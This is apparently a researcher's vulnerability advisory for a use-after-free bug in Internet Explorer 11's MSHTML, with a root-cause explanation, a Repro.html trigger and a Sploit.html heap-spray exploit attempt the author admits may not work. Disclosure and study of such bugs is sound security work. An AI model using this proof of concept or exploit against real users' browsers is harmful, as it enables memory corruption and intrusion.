Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.

Known affected software, attack vectors and potential mitigations

Microsoft Internet Explorer 11

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.

Details

This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoEmbedPointers and when you execute document.execCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.

Repro.html:

<!doctype html>

<html>

<head>

document.addEventListener("DOMNodeRemoved", function () {

document.open(); // free

// attempt to modify freed memory here

// because it will be reused after this function returns.

}, true);

window.onload = function () {

document.designMode="on";

document.execCommand("SelectAll");

document.execCommand("Delete"); // allocate

};

</script>

</head>

<body>

</body>

</html>

Exploit

After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.

Sploit.html:

-->

<!doctype html>

<html>

<head>

var aauCopiesAndSizes= [

[0x08, 0x80],

[0x08, 0x40],

[0x08, 0x20],

[0x10, 0x80]

];

var uBaseAddress = 0x12340000;

var aoBlockSprays = new Array(aauCopiesAndSizes.length);

for (var i = 0; i < aauCopiesAndSizes.length; i++) {

aoBlockSprays[i] = new cBlockSpray(aauCopiesAndSizes[i][0], aauCopiesAndSizes[i][1]);

aoBlockSprays[i].setChunkDWord(0x0100, uBaseAddress + 0x0300);

aoBlockSprays[i].spray();

}

document.addEventListener("DOMNodeRemoved", function () {

document.open();

var oLFHReuse = new cLFHSpray(10, 0x28);

oLFHReuse.setDWord(0x10, uBaseAddress + 0x0100);

oLFHReuse.setDWord(0x14, uBaseAddress + 0x0200);

oLFHReuse.spray();

}, true);

window.onload = function () {

document.designMode="on";

document.execCommand("SelectAll");

document.execCommand("Delete");

document.designMode="off";

};

</script>

</head>

<body>

</body>
